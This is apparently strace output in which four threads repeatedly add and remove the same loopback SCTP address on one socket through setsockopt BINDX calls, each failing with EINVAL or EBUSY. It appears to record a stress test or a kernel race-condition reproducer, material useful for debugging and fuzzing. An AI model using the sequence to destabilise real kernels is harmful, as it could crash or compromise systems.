[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
